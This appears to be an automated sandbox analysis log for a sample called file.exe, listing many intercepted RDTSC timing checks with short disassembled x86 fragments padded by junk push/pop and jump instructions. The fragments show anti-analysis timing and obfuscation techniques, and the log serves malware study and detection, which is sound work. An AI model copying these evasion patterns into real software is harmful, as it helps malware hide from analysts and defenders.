Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC59C second address: 7FC5A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC5A2 second address: 7FC5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC5A8 second address: 7FC5AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC858 second address: 7FC862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F654CE0FA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FC862 second address: 7FC870 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FCAD5 second address: 7FCAD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FCAD9 second address: 7FCAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FCAE3 second address: 7FCAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7FB888 second address: 7FB891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 803350 second address: 80337A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F654CE0FA19h 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F654CE0FA06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80337A second address: 80337E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 807D03 second address: 807D22 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F654CE0FA0Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F654CE0FA06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 807D22 second address: 807D46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a je 00007F654C734E5Ch 0x00000010 jnl 00007F654C734E56h 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007F654C734E56h 0x0000001e ja 00007F654C734E56h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 807D46 second address: 807DA1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F654CE0FA06h 0x00000008 jmp 00007F654CE0FA19h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F654CE0FA0Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F654CE0FA13h 0x0000001b jmp 00007F654CE0FA18h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 807741 second address: 807757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F654C734E56h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 807757 second address: 80775B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80775B second address: 807780 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F654C734E5Fh 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 807780 second address: 80778A instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80A18A second address: 80A1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Dh 0x00000009 popad 0x0000000a pop eax 0x0000000b jl 00007F654C734E7Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F654C734E5Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80A1B0 second address: 80A1C3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007F654CE0FA06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 809EE1 second address: 809EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 809EE6 second address: 809EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 809EEC second address: 809EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 809EF0 second address: 809EF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 809EF6 second address: 809F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F654C734E5Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B86E second address: 80B874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B874 second address: 80B878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B878 second address: 80B892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F654CE0FA12h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B892 second address: 80B897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B897 second address: 80B8DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F654CE0FA06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d je 00007F654CE0FA12h 0x00000013 jc 00007F654CE0FA06h 0x00000019 jnc 00007F654CE0FA06h 0x0000001f pop edx 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 jmp 00007F654CE0FA19h 0x00000029 jno 00007F654CE0FA06h 0x0000002f pop ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B8DB second address: 80B8E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B8E1 second address: 80B8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B8E5 second address: 80B8E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 80B8E9 second address: 80B8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F654CE0FA16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8105A3 second address: 8105C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F654C734E65h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 810849 second address: 81084F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81084F second address: 810855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 810A49 second address: 810A54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 810BB0 second address: 810BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F654C734E56h 0x0000000a jmp 00007F654C734E5Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 810BC9 second address: 810BE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F654CE0FA12h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 815486 second address: 815499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F654C734E56h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 815601 second address: 815615 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8157B2 second address: 8157BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007F654C734E56h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8157BF second address: 8157CF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F654CE0FA12h 0x00000008 jnp 00007F654CE0FA06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 815916 second address: 815920 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F654C734E5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 815920 second address: 81592C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81592C second address: 815960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E67h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jns 00007F654C734E56h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F654C734E56h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 815960 second address: 815964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 815DB7 second address: 815DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F654C734E60h 0x0000000a jnl 00007F654C734E56h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 815DD4 second address: 815DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81687F second address: 816885 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 819A1A second address: 819A26 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F654CE0FA06h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 819452 second address: 81945A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81ED12 second address: 81ED16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81ED16 second address: 81ED1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81EE78 second address: 81EEA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F654CE0FA15h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F654CE0FA0Bh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81F5CA second address: 81F5CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81F5CE second address: 81F5E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 81F91F second address: 81F94E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E60h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F654C734E69h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8201E2 second address: 8201E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8201E8 second address: 8201ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 829D46 second address: 829D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a jmp 00007F654CE0FA0Fh 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 ja 00007F654CE0FA06h 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F654CE0FA0Dh 0x0000001f popad 0x00000020 pushad 0x00000021 push edi 0x00000022 pop edi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 828FA3 second address: 828FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 773CC9 second address: 773CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 829630 second address: 829638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 829638 second address: 82963E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 82963E second address: 829644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 829791 second address: 8297C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F654CE0FA1Fh 0x00000008 jmp 00007F654CE0FA19h 0x0000000d pushad 0x0000000e jmp 00007F654CE0FA0Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8297C0 second address: 8297C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 829AA4 second address: 829AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F654CE0FA0Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8334C2 second address: 8334D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F654C734E5Eh 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8334D9 second address: 8334ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 831788 second address: 8317A2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F654C734E56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F654C734E5Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 831BCF second address: 831BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 831BD7 second address: 831BDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 831BDB second address: 831BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8323CF second address: 8323D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8323D5 second address: 8323D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8323D9 second address: 8323DF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8323DF second address: 8323F6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F654CE0FA12h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 838A72 second address: 838A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 838A76 second address: 838A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 838A7A second address: 838A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F654C734E56h 0x0000000e jmp 00007F654C734E67h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83A5D0 second address: 83A5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83A5D5 second address: 83A5F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E66h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83A5F1 second address: 83A5FD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83A5FD second address: 83A603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83A603 second address: 83A607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83A435 second address: 83A439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83A439 second address: 83A443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83A443 second address: 83A45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 84692F second address: 846959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F654CE0FA0Fh 0x0000000a push ebx 0x0000000b jng 00007F654CE0FA06h 0x00000011 pop ebx 0x00000012 js 00007F654CE0FA12h 0x00000018 jnc 00007F654CE0FA06h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 846959 second address: 84697A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 jmp 00007F654C734E68h 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 84A2C1 second address: 84A2C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 84A440 second address: 84A458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F654C734E5Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 84A458 second address: 84A462 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F654CE0FA06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 84A462 second address: 84A468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8506B2 second address: 8506B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 859612 second address: 859617 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 85B7CC second address: 85B7D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 8628F5 second address: 86290C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ch 0x00000007 push esi 0x00000008 jc 00007F654C734E56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862A44 second address: 862A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 862A48 second address: 862A52 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
